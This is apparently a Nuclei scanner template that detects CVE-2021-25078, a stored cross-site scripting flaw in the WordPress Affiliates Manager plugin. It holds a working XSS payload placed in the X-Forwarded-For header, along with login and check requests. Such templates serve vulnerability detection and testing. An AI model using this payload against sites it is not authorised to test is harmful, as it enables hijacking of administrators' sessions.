id: CVE-2021-25078

info:
  name: Affiliates Manager < 2.9.0 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The plugin does not validate, sanitise and escape the IP address of requests logged by the click tracking feature, allowing unauthenticated attackers to perform Cross-Site Scripting attacks against admin viewing the tracked requests.
  remediation: Fixed in version 2.9.0
  reference:
    - https://wpscan.com/vulnerability/d4edb5f2-aa1b-4e2d-abb4-76c46def6c6e
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25078
    - https://plugins.trac.wordpress.org/changeset/2648196
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25078
    cwe-id: CWE-79
    epss-score: 0.00382
    epss-percentile: 0.70037
    cpe: cpe:2.3:a:wpaffiliatemanager:affiliates_manager:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: wpaffiliatemanager
    product: affiliates_manager
    framework: wordpress
  tags: cve,wp,wordpress,authenticated,cve2021,affiliates-manager,wp-plugin,xss,wpscan

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /?wpam_id=1 HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-For: <img src onerror=alert(document.domain)>
      - |
        GET /wp-admin/admin.php?page=wpam-clicktracking HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200 && status_code_3 == 200'
          - 'contains(header_3, "text/html")'
          - 'contains(body_3, "<img src onerror=alert(document.domain)>")'
          - 'contains(body_3, "Affiliates Manager Click Tracking")'
        condition: and

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